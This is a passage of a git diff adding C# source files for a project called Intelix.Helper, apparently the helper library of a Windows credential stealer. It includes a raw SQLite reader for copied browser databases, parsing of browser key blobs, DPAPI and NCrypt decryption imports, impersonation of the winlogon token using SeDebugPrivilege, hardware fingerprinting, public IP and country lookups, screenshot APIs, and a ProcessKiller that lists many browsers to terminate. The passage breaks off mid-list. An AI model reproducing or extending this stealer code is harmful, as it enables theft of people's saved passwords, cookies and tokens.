((array[num15].Type - 12) / 2) : ((array[num15].Type - 13) / 2))); + num14 = num14 + (num12 - num16) + 1; + num15++; + } + if (array == null) + { + continue; + } + _tableEntries[num5 + (int)num6].Content = new string[array.Length]; + int num17 = 0; + for (int i = 0; i <= array.Length - 1; i++) + { + if (array[i].Type > 9) + { + if (!IsOdd(array[i].Type)) + { + long dbEncoding = (long)_dbEncoding; + long num18 = dbEncoding - 1; + if ((ulong)num18 <= 2uL) + { + switch (num18) + { + case 0L: + _tableEntries[num5 + (int)num6].Content[i] = Encoding.Default.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size); + break; + case 1L: + _tableEntries[num5 + (int)num6].Content[i] = Encoding.Unicode.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size); + break; + case 2L: + _tableEntries[num5 + (int)num6].Content[i] = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size); + break; + } + } + } + else + { + _tableEntries[num5 + (int)num6].Content[i] = Encoding.Default.GetString(_fileBytes, (int)((long)num10 + num13 + num17), (int)array[i].Size); + } + } + else + { + _tableEntries[num5 + (int)num6].Content[i] = Convert.ToString(ConvertToULong((int)((long)num10 + num13 + num17), (int)array[i].Size)); + } + num17 += (int)array[i].Size; + } + } + break; + } + case 5: + { + uint num = (uint)(ConvertToULong((int)(offset + 3), 2) - 1); + for (uint num2 = 0u; (int)num2 <= (int)num; num2++) + { + uint num3 = (uint)ConvertToULong((int)offset + 12 + (int)(num2 * 2), 2); + ReadTableFromOffset((ConvertToULong((int)(offset + num3), 4) - 1) * _pageSize); + } + ReadTableFromOffset((ConvertToULong((int)(offset + 8), 4) - 1) * _pageSize); + break; + } + } + return true; + } + catch + { + return false; + } + } + + private void ReadMasterTable(long offset) + { + while (true) + { + switch (_fileBytes[offset]) + { + default: + return; + case 5: + { + uint num13 = (uint)(ConvertToULong((int)offset + 3, 2) - 1); + for (int j = 0; j <= (int)num13; j++) + { + uint num14 = (uint)ConvertToULong((int)offset + 12 + j * 2, 2); + if (offset == 100) + { + ReadMasterTable((long)((ConvertToULong((int)num14, 4) - 1) * _pageSize)); + } + else + { + ReadMasterTable((long)((ConvertToULong((int)(offset + num14), 4) - 1) * _pageSize)); + } + } + break; + } + case 13: + { + ulong num = ConvertToULong((int)offset + 3, 2) - 1; + int num2 = 0; + if (_masterTableEntries != null) + { + num2 = _masterTableEntries.Length; + Array.Resize(ref _masterTableEntries, _masterTableEntries.Length + (int)num + 1); + } + else + { + checked + { + _masterTableEntries = new SqliteMasterEntry[(ulong)unchecked((long)(num + 1))]; + } + } + for (ulong num3 = 0uL; num3 <= num; num3++) + { + ulong num4 = ConvertToULong((int)offset + 8 + (int)num3 * 2, 2); + if (offset != 100) + { + num4 += (ulong)offset; + } + int num5 = Gvl((int)num4); + Cvl((int)num4, num5); + int num6 = Gvl((int)((long)num4 + ((long)num5 - (long)num4) + 1)); + Cvl((int)((long)num4 + ((long)num5 - (long)num4) + 1), num6); + ulong num7 = num4 + (ulong)((long)num6 - (long)num4 + 1); + int num8 = Gvl((int)num7); + int num9 = num8; + long num10 = Cvl((int)num7, num8); + long[] array = new long[5]; + for (int i = 0; i <= 4; i++) + { + int startIdx = num9 + 1; + num9 = Gvl(startIdx); + array[i] = Cvl(startIdx, num9); + array[i] = ((array[i] <= 9) ? _sqlDataTypeSize[array[i]] : ((!IsOdd(array[i])) ? ((array[i] - 12) / 2) : ((array[i] - 13) / 2))); + } + long dbEncoding; + if (_dbEncoding == 1 || _dbEncoding == 2) + { + dbEncoding = (long)_dbEncoding; + long num11 = dbEncoding - 1; + if ((ulong)num11 <= 2uL) + { + switch (num11) + { + case 0L: + _masterTableEntries[num2 + (int)num3].ItemName = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]); + break; + case 1L: + _masterTableEntries[num2 + (int)num3].ItemName = Encoding.Unicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]); + break; + case 2L: + _masterTableEntries[num2 + (int)num3].ItemName = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0]), (int)array[1]); + break; + } + } + } + _masterTableEntries[num2 + (int)num3].RootNum = (long)ConvertToULong((int)((long)num7 + num10 + array[0] + array[1] + array[2]), (int)array[3]); + dbEncoding = (long)_dbEncoding; + long num12 = dbEncoding - 1; + if ((ulong)num12 <= 2uL) + { + switch (num12) + { + case 0L: + _masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Default.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]); + break; + case 1L: + _masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.Unicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]); + break; + case 2L: + _masterTableEntries[num2 + (int)num3].SqlStatement = Encoding.BigEndianUnicode.GetString(_fileBytes, (int)((long)num7 + num10 + array[0] + array[1] + array[2] + array[3]), (int)array[4]); + break; + } + } + } + return; + } + } + offset = (long)((ConvertToULong((int)offset + 8, 4) - 1) * _pageSize); + } + } + + public bool ReadTable(string tableName) + { + int num = -1; + for (int i = 0; i <= _masterTableEntries.Length; i++) + { + if (string.Compare(_masterTableEntries[i].ItemName.ToLower(), tableName.ToLower(), StringComparison.Ordinal) == 0) + { + num = i; + break; + } + } + if (num == -1) + { + return false; + } + string[] array = _masterTableEntries[num].SqlStatement.Substring(_masterTableEntries[num].SqlStatement.IndexOf("(", StringComparison.Ordinal) + 1).Split(','); + for (int j = 0; j <= array.Length - 1; j++) + { + array[j] = array[j].TrimStart(); + int num2 = array[j].IndexOf(' '); + if (num2 > 0) + { + array[j] = array[j].Substring(0, num2); + } + if (array[j].IndexOf("UNIQUE", StringComparison.Ordinal) != 0) + { + Array.Resize(ref _fieldNames, j + 1); + _fieldNames[j] = array[j]; + } + } + return ReadTableFromOffset((ulong)(_masterTableEntries[num].RootNum - 1) * _pageSize); + } + + private ulong ConvertToULong(int startIndex, int size) + { + try + { + if (size > 8 || size == 0) + { + return 0uL; + } + ulong num = 0uL; + for (int i = 0; i <= size - 1; i++) + { + num = (num << 8) | _fileBytes[startIndex + i]; + } + return num; + } + catch + { + return 0uL; + } + } + + private int Gvl(int startIdx) + { + try + { + if (startIdx > _fileBytes.Length) + { + return 0; + } + for (int i = startIdx; i <= startIdx + 8; i++) + { + if (i > _fileBytes.Length - 1) + { + return 0; + } + if ((_fileBytes[i] & 0x80) != 128) + { + return i; + } + } + return startIdx + 8; + } + catch + { + return 0; + } + } + + private long Cvl(int startIdx, int endIdx) + { + try + { + endIdx++; + byte[] array = new byte[8]; + int num = endIdx - startIdx; + bool flag = false; + if (num == 0 || num > 9) + { + return 0L; + } + switch (num) + { + case 1: + array[0] = (byte)(_fileBytes[startIdx] & 0x7F); + return BitConverter.ToInt64(array, 0); + case 9: + flag = true; + break; + } + int num2 = 1; + int num3 = 7; + int num4 = 0; + if (flag) + { + array[0] = _fileBytes[endIdx - 1]; + endIdx--; + num4 = 1; + } + for (int i = endIdx - 1; i >= startIdx; i += -1) + { + if (i - 1 >= startIdx) + { + array[num4] = (byte)(((_fileBytes[i] >> num2 - 1) & (255 >> num2)) | (_fileBytes[i - 1] << num3)); + num2++; + num4++; + num3--; + } + else if (!flag) + { + array[num4] = (byte)((_fileBytes[i] >> num2 - 1) & (255 >> num2)); + } + } + return BitConverter.ToInt64(array, 0); + } + catch + { + return 0L; + } + } + + private static bool IsOdd(long value) + { + return (value & 1) == 1; + } + + public static SqLite ReadTable(string database, string table) + { + try + { + string text = Path.GetTempFileName() + ".tmpdb"; + File.Copy(database, text); + SqLite sqLite = new SqLite(text); + sqLite.ReadTable(table); + File.Delete(text); + return (sqLite.GetRowCount() == 65536) ? null : sqLite; + } + catch + { + return null; + } + } +} diff --git a/Intelix.Helper/._IpApi.cs b/Intelix.Helper/._IpApi.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper/._IpApi.cs differ diff --git a/Intelix.Helper/._MutexControl.cs b/Intelix.Helper/._MutexControl.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper/._MutexControl.cs differ diff --git a/Intelix.Helper/._NativeMethods.cs b/Intelix.Helper/._NativeMethods.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper/._NativeMethods.cs differ diff --git a/Intelix.Helper/._RegistryParser.cs b/Intelix.Helper/._RegistryParser.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper/._RegistryParser.cs differ diff --git a/Intelix.Helper/._WindowsInfo.cs b/Intelix.Helper/._WindowsInfo.cs new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/Intelix.Helper/._WindowsInfo.cs differ diff --git a/Intelix.Helper/BlobParsedData.cs b/Intelix.Helper/BlobParsedData.cs new file mode 100644 index 0000000..2ee345e --- /dev/null +++ b/Intelix.Helper/BlobParsedData.cs @@ -0,0 +1,14 @@ +namespace Intelix.Helper; + +public class BlobParsedData +{ + public byte Flag { get; set; } + + public byte[] Iv { get; set; } + + public byte[] Ciphertext { get; set; } + + public byte[] Tag { get; set; } + + public byte[] EncryptedAesKey { get; set; } +} diff --git a/Intelix.Helper/ConcurrentLong.cs b/Intelix.Helper/ConcurrentLong.cs new file mode 100644 index 0000000..0419117 --- /dev/null +++ b/Intelix.Helper/ConcurrentLong.cs @@ -0,0 +1,59 @@ +using System.Threading; + +namespace Intelix.Helper; + +public struct ConcurrentLong +{ + private long _value; + + public long Value + { + get + { + return Interlocked.Read(ref _value); + } + set + { + Interlocked.Exchange(ref _value, value); + } + } + + public ConcurrentLong(long initial) + { + _value = initial; + } + + public static ConcurrentLong operator ++(ConcurrentLong x) + { + Interlocked.Increment(ref x._value); + return x; + } + + public static ConcurrentLong operator --(ConcurrentLong x) + { + Interlocked.Decrement(ref x._value); + return x; + } + + public static implicit operator long(ConcurrentLong x) + { + return x.Value; + } + + public static implicit operator ConcurrentLong(long v) + { + return new ConcurrentLong(v); + } + + public static ConcurrentLong operator +(ConcurrentLong x, long y) + { + Interlocked.Add(ref x._value, y); + return x; + } + + public static ConcurrentLong operator -(ConcurrentLong x, long y) + { + Interlocked.Add(ref x._value, -y); + return x; + } +} diff --git a/Intelix.Helper/CpuInfo.cs b/Intelix.Helper/CpuInfo.cs new file mode 100644 index 0000000..912895e --- /dev/null +++ b/Intelix.Helper/CpuInfo.cs @@ -0,0 +1,32 @@ +using System; +using Microsoft.Win32; + +namespace Intelix.Helper; + +public static class CpuInfo +{ + public static string GetName() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"); + return (registryKey?.GetValue("ProcessorNameString") as string) ?? (registryKey?.GetValue("VendorIdentifier") as string) ?? "Unknown"; + } + catch + { + return "Unknown"; + } + } + + public static int GetLogicalCores() + { + try + { + return Environment.ProcessorCount; + } + catch + { + return 0; + } + } +} diff --git a/Intelix.Helper/HwidGenerator.cs b/Intelix.Helper/HwidGenerator.cs new file mode 100644 index 0000000..2ca8ffc --- /dev/null +++ b/Intelix.Helper/HwidGenerator.cs @@ -0,0 +1,186 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.NetworkInformation; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Microsoft.Win32; + +namespace Intelix.Helper; + +public static class HwidGenerator +{ + private static string _hwid; + + private static readonly object _lock = new object(); + + public static string GetHwid() + { + if (_hwid != null) + { + return _hwid; + } + lock (_lock) + { + if (_hwid != null) + { + return _hwid; + } + List list = new List(); + string mg = null; + string cpuName = null; + List vols = null; + List macs = null; + Task task = Task.Run(delegate + { + mg = GetMachineGuid(); + }); + Task task2 = Task.Run(delegate + { + cpuName = GetCpuName(); + }); + Task task3 = Task.Run(delegate + { + vols = GetFixedVolumeSerials(); + }); + Task task4 = Task.Run(delegate + { + macs = GetMacAddresses(); + }); + Task.WaitAll(task, task2, task3, task4); + if (!string.IsNullOrEmpty(mg)) + { + list.Add("MG:" + mg); + } + if (!string.IsNullOrEmpty(cpuName)) + { + list.Add("CPU:" + cpuName); + } + list.Add("Cores:" + Environment.ProcessorCount); + if (vols != null && vols.Count > 0) + { + list.Add("VOLS:" + string.Join(",", vols)); + } + if (macs != null && macs.Count > 0) + { + list.Add("MACS:" + string.Join(",", macs)); + } + list.Add("MN:" + Environment.MachineName); + _hwid = ComputeSha256(string.Join("|", list)); + return _hwid; + } + } + + private static string ComputeSha256(string input) + { + using SHA256 sHA = SHA256.Create(); + byte[] array = sHA.ComputeHash(Encoding.UTF8.GetBytes(input)); + StringBuilder stringBuilder = new StringBuilder(array.Length * 2); + byte[] array2 = array; + foreach (byte b in array2) + { + stringBuilder.Append(b.ToString("x2")); + } + return stringBuilder.ToString(); + } + + private static string GetMachineGuid() + { + try + { + using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Cryptography")) + { + string text = registryKey?.GetValue("MachineGuid") as string; + if (!string.IsNullOrEmpty(text)) + { + return text.Trim(); + } + } + using RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32).OpenSubKey("SOFTWARE\\Microsoft\\Cryptography"); + return (registryKey2?.GetValue("MachineGuid") as string)?.Trim() ?? ""; + } + catch + { + return ""; + } + } + + private static string GetCpuName() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"); + string text = registryKey?.GetValue("ProcessorNameString") as string; + if (!string.IsNullOrEmpty(text)) + { + return text.Trim(); + } + return (registryKey?.GetValue("VendorIdentifier") as string)?.Trim() ?? ""; + } + catch + { + return ""; + } + } + + private static List GetFixedVolumeSerials() + { + List list = new List(); + try + { + DriveInfo[] drives = DriveInfo.GetDrives(); + foreach (DriveInfo driveInfo in drives) + { + if (driveInfo.DriveType == DriveType.Fixed && driveInfo.IsReady) + { + StringBuilder stringBuilder = new StringBuilder(261); + StringBuilder stringBuilder2 = new StringBuilder(261); + if (NativeMethods.GetVolumeInformation(driveInfo.RootDirectory.FullName, stringBuilder, stringBuilder.Capacity, out var lpVolumeSerialNumber, out var _, out var _, stringBuilder2, stringBuilder2.Capacity)) + { + list.Add(lpVolumeSerialNumber.ToString("X8").ToLowerInvariant()); + } + } + } + } + catch + { + } + return list; + } + + private static List GetMacAddresses() + { + List list = new List(); + try + { + NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces(); + foreach (NetworkInterface networkInterface in allNetworkInterfaces) + { + if (networkInterface.OperationalStatus != OperationalStatus.Up) + { + continue; + } + byte[] addressBytes = networkInterface.GetPhysicalAddress().GetAddressBytes(); + if (addressBytes.Length == 0) + { + continue; + } + StringBuilder stringBuilder = new StringBuilder(); + for (int j = 0; j < addressBytes.Length; j++) + { + if (j > 0) + { + stringBuilder.Append(':'); + } + stringBuilder.Append(addressBytes[j].ToString("x2")); + } + list.Add(stringBuilder.ToString()); + } + } + catch + { + } + return list; + } +} diff --git a/Intelix.Helper/ImpersonationHelper.cs b/Intelix.Helper/ImpersonationHelper.cs new file mode 100644 index 0000000..7679efe --- /dev/null +++ b/Intelix.Helper/ImpersonationHelper.cs @@ -0,0 +1,110 @@ +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.Linq; +using System.Runtime.InteropServices; + +namespace Intelix.Helper; + +public static class ImpersonationHelper +{ + private class ImpersonationContext : IDisposable + { + public void Dispose() + { + NativeMethods.RevertToSelf(); + } + } + + private const uint TOKEN_DUPLICATE = 2u; + + private const uint TOKEN_IMPERSONATE = 4u; + + private const uint TOKEN_QUERY = 8u; + + private const uint TOKEN_ADJUST_PRIVILEGES = 32u; + + private const uint SecurityImpersonation = 2u; + + private const uint TokenImpersonation = 2u; + + private const uint SE_PRIVILEGE_ENABLED = 2u; + + public static IDisposable ImpersonateWinlogon() + { + IntPtr TokenHandle = IntPtr.Zero; + IntPtr phNewToken = IntPtr.Zero; + try + { + EnableDebugPrivilege(); + if (!NativeMethods.OpenProcessToken((Process.GetProcessesByName("winlogon").FirstOrDefault() ?? throw new Exception("Процесс winlogon.exe не найден")).Handle, 14u, out TokenHandle)) + { + throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка OpenProcessToken"); + } + if (!NativeMethods.DuplicateTokenEx(TokenHandle, 12u, IntPtr.Zero, 2u, 2u, out phNewToken)) + { + throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка DuplicateTokenEx"); + } + if (!NativeMethods.ImpersonateLoggedOnUser(phNewToken)) + { + throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка ImpersonateLoggedOnUser"); + } + return new ImpersonationContext(); + } + catch + { + if (phNewToken != IntPtr.Zero) + { + NativeMethods.CloseHandle(phNewToken); + } + if (TokenHandle != IntPtr.Zero) + { + NativeMethods.CloseHandle(TokenHandle); + } + NativeMethods.RevertToSelf(); + throw; + } + } + + private static void EnableDebugPrivilege() + { + IntPtr TokenHandle = IntPtr.Zero; + try + { + if (!NativeMethods.OpenProcessToken(NativeMethods.GetCurrentProcess(), 40u, out TokenHandle)) + { + int lastWin32Error = Marshal.GetLastWin32Error(); + throw new Win32Exception(lastWin32Error, $"Ошибка OpenProcessToken: Код ошибки {lastWin32Error}"); + } + NativeMethods.LUID lpLuid = default(NativeMethods.LUID); + if (!NativeMethods.LookupPrivilegeValue(null, "SeDebugPrivilege", ref lpLuid)) + { + int lastWin32Error2 = Marshal.GetLastWin32Error(); + throw new Win32Exception(lastWin32Error2, $"Ошибка LookupPrivilegeValue: Код ошибки {lastWin32Error2}"); + } + NativeMethods.TOKEN_PRIVILEGES NewState = new NativeMethods.TOKEN_PRIVILEGES + { + PrivilegeCount = 1u, + Luid = lpLuid, + Attributes = 2u + }; + if (!NativeMethods.AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, (uint)Marshal.SizeOf(typeof(NativeMethods.TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero)) + { + int lastWin32Error3 = Marshal.GetLastWin32Error(); + throw new Win32Exception(lastWin32Error3, $"Ошибка AdjustTokenPrivileges: Код ошибки {lastWin32Error3}"); + } + int lastWin32Error4 = Marshal.GetLastWin32Error(); + if (lastWin32Error4 != 0) + { + throw new Win32Exception(lastWin32Error4, $"AdjustTokenPrivileges вернул успех, но установил код ошибки {lastWin32Error4}"); + } + } + finally + { + if (TokenHandle != IntPtr.Zero) + { + NativeMethods.CloseHandle(TokenHandle); + } + } + } +} diff --git a/Intelix.Helper/IpApi.cs b/Intelix.Helper/IpApi.cs new file mode 100644 index 0000000..b6a108a --- /dev/null +++ b/Intelix.Helper/IpApi.cs @@ -0,0 +1,75 @@ +using System.Net; +using System.Text; + +namespace Intelix.Helper; + +public static class IpApi +{ + private static string _cachedIp; + private static string _cachedCountryCode; + + private static readonly object _lock = new object(); + + public static string GetPublicIp() + { + if (!string.IsNullOrEmpty(_cachedIp)) + { + return _cachedIp; + } + lock (_lock) + { + if (!string.IsNullOrEmpty(_cachedIp)) + { + return _cachedIp; + } + try + { + using WebClient webClient = new WebClient(); + string text = webClient.DownloadString("http://icanhazip.com"); + if (!string.IsNullOrEmpty(text)) + { + _cachedIp = text.Trim(); + } + } + catch + { + _cachedIp = "Request failed"; + } + return _cachedIp; + } + } + + public static string GetCountryCode() + { + if (!string.IsNullOrEmpty(_cachedCountryCode)) + { + return _cachedCountryCode; + } + lock (_lock) + { + if (!string.IsNullOrEmpty(_cachedCountryCode)) + { + return _cachedCountryCode; + } + try + { + using WebClient webClient = new WebClient(); + webClient.Encoding = Encoding.UTF8; + string response = webClient.DownloadString("http://ip-api.com/line/?fields=countryCode"); + if (!string.IsNullOrEmpty(response)) + { + _cachedCountryCode = response.Trim(); + } + else + { + _cachedCountryCode = "XX"; + } + } + catch + { + _cachedCountryCode = "XX"; + } + return _cachedCountryCode; + } + } +} diff --git a/Intelix.Helper/MutexControl.cs b/Intelix.Helper/MutexControl.cs new file mode 100644 index 0000000..933fd78 --- /dev/null +++ b/Intelix.Helper/MutexControl.cs @@ -0,0 +1,16 @@ +using System.Threading; + +namespace Intelix.Helper; + +public static class MutexControl +{ + public static Mutex currentApp; + + public static bool createdNew; + + public static bool CreateMutex(string mtx) + { + currentApp = new Mutex(initiallyOwned: false, mtx, out createdNew); + return createdNew; + } +} diff --git a/Intelix.Helper/NativeMethods.cs b/Intelix.Helper/NativeMethods.cs new file mode 100644 index 0000000..b389561 --- /dev/null +++ b/Intelix.Helper/NativeMethods.cs @@ -0,0 +1,194 @@ +using System; +using System.Runtime.InteropServices; +using System.Text; + +namespace Intelix.Helper; + +public static class NativeMethods +{ + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct CryptprotectPromptstruct + { + public int cbSize; + + public int dwPromptFlags; + + public IntPtr hwndApp; + + public string szPrompt; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct DataBlob + { + public int cbData; + + public IntPtr pbData; + } + + public struct LUID + { + public uint LowPart; + + public int HighPart; + } + + public struct TOKEN_PRIVILEGES + { + public uint PrivilegeCount; + + public LUID Luid; + + public uint Attributes; + } + + public struct MEMORYSTATUSEX + { + public uint dwLength; + + public uint dwMemoryLoad; + + public ulong ullTotalPhys; + + public ulong ullAvailPhys; + + public ulong ullTotalPageFile; + + public ulong ullAvailPageFile; + + public ulong ullTotalVirtual; + + public ulong ullAvailVirtual; + + public ulong ullAvailExtendedVirtual; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public struct DISPLAY_DEVICE + { + public int cb; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)] + public string DeviceName; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string DeviceString; + + public uint StateFlags; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string DeviceID; + + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] + public string DeviceKey; + } + + public struct PROCESS_MEMORY_COUNTERS_EX + { + public uint cb; + + public uint PageFaultCount; + + public UIntPtr PeakWorkingSetSize; + + public UIntPtr WorkingSetSize; + + public UIntPtr QuotaPeakPagedPoolUsage; + + public UIntPtr QuotaPagedPoolUsage; + + public UIntPtr QuotaPeakNonPagedPoolUsage; + + public UIntPtr QuotaNonPagedPoolUsage; + + public UIntPtr PagefileUsage; + + public UIntPtr PeakPagefileUsage; + + public UIntPtr PrivateUsage; + } + + [DllImport("psapi.dll", SetLastError = true)] + public static extern bool GetProcessMemoryInfo(IntPtr hProcess, out PROCESS_MEMORY_COUNTERS_EX ppsmemCounters, uint cb); + + [DllImport("psapi.dll", SetLastError = true)] + public static extern bool EnumProcesses([Out] uint[] lpidProcess, uint cb, out uint lpcbNeeded); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool GetVolumeInformation(string lpRootPathName, StringBuilder lpVolumeNameBuffer, int nVolumeNameSize, out uint lpVolumeSerialNumber, out uint lpMaximumComponentLength, out uint lpFileSystemFlags, StringBuilder lpFileSystemNameBuffer, int nFileSystemNameSize); + + [DllImport("kernel32.dll")] + public static extern bool GlobalMemoryStatusEx(ref MEMORYSTATUSEX lpBuffer); + + [DllImport("user32.dll", CharSet = CharSet.Unicode)] + public static extern bool EnumDisplayDevices(string lpDevice, uint iDevNum, ref DISPLAY_DEVICE lpDisplayDevice, uint dwFlags); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder lpExeName, ref int lpdwSize); + + [DllImport("ncrypt.dll", CharSet = CharSet.Unicode)] + public static extern int NCryptOpenStorageProvider(out IntPtr phProvider, string pszProviderName, int dwFlags); + + [DllImport("ncrypt.dll", CharSet = CharSet.Unicode)] + public static extern int NCryptOpenKey(IntPtr hProvider, out IntPtr phKey, string pszKeyName, int dwLegacyKeySpec, int dwFlags); + + [DllImport("ncrypt.dll", CharSet = CharSet.Unicode)] + public static extern int NCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo, byte[] pbOutput, int cbOutput, out int pcbResult, int dwFlags); + + [DllImport("ncrypt.dll", CharSet = CharSet.Unicode)] + public static extern int NCryptFreeObject(IntPtr hObject); + + [DllImport("user32.dll")] + public static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll")] + public static extern IntPtr GetWindowDC(IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern int ReleaseDC(IntPtr hWnd, IntPtr hDC); + + [DllImport("gdi32.dll")] + public static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder exeName, ref uint lpdwSize); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool CloseHandle(IntPtr hObject); + + [DllImport("crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern bool CryptUnprotectData(ref DataBlob pDataIn, ref string ppszDataDescr, ref DataBlob pOptionalEntropy, IntPtr pvReserved, ref CryptprotectPromptstruct pPromptStruct, int dwFlags, ref DataBlob pDataOut); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool ImpersonateLoggedOnUser(IntPtr hToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool RevertToSelf(); + + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, ref LUID lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr GetCurrentProcess(); +} diff --git a/Intelix.Helper/ParseKeyBlob.cs b/Intelix.Helper/ParseKeyBlob.cs new file mode 100644 index 0000000..93f1e1e --- /dev/null +++ b/Intelix.Helper/ParseKeyBlob.cs @@ -0,0 +1,66 @@ +using System; +using System.IO; + +namespace Intelix.Helper; + +public static class ParseKeyBlob +{ + public static BlobParsedData Parse(byte[] blobData) + { + using MemoryStream memoryStream = new MemoryStream(blobData); + using BinaryReader binaryReader = new BinaryReader(memoryStream); + uint count = binaryReader.ReadUInt32(); + binaryReader.ReadBytes((int)count); + uint num = binaryReader.ReadUInt32(); + _ = memoryStream.Position; + byte[] array = null; + byte[] iv = null; + byte[] ciphertext = null; + byte[] tag = null; + if (num == 32) + { + array = binaryReader.ReadBytes(32); + return new BlobParsedData + { + Flag = 32, + Iv = iv, + Ciphertext = ciphertext, + Tag = tag, + EncryptedAesKey = array + }; + } + byte b = binaryReader.ReadByte(); + switch (b) + { + case 1: + case 2: + iv = binaryReader.ReadBytes(12); + ciphertext = binaryReader.ReadBytes(32); + tag = binaryReader.ReadBytes(16); + return new BlobParsedData + { + Flag = b, + Iv = iv, + Ciphertext = ciphertext, + Tag = tag, + EncryptedAesKey = null + }; + case 3: + case 35: + array = binaryReader.ReadBytes(32); + iv = binaryReader.ReadBytes(12); + ciphertext = binaryReader.ReadBytes(32); + tag = binaryReader.ReadBytes(16); + return new BlobParsedData + { + Flag = b, + Iv = iv, + Ciphertext = ciphertext, + Tag = tag, + EncryptedAesKey = array + }; + default: + throw new Exception(); + } + } +} diff --git a/Intelix.Helper/ProcessKiller.cs b/Intelix.Helper/ProcessKiller.cs new file mode 100644 index 0000000..4e57743 --- /dev/null +++ b/Intelix.Helper/ProcessKiller.cs @@ -0,0 +1,153 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; + +namespace Intelix.Helper; + +public static class ProcessKiller +{ + public static string[] Targets = new string[63] + { + "k-meleon.exe", "thunderbird.exe", "icedragon.exe", "cyberfox.exe", "blackhawk.exe", "palemoon.exe", "ghostery.exe", + "sielo.exe", "conkeror.exe", "msedge.exe", "netscape.exe", "seamonkey.exe", "slimbrowser.exe", "msedge_pwa_launcher.exe", "avant.exe", "opera.exe", "operagx.exe", + "msedgewebview2.exe", "msedgewebview.exe", "chromium.exe", "slimjet.exe", "chrome.exe", "browser.exe", "vivaldi.exe", "brave.exe", "edge.exe", "microsoft.exe", + "dragon.exe", "torch.exe", "yandex.exe", "sputnik.exe", 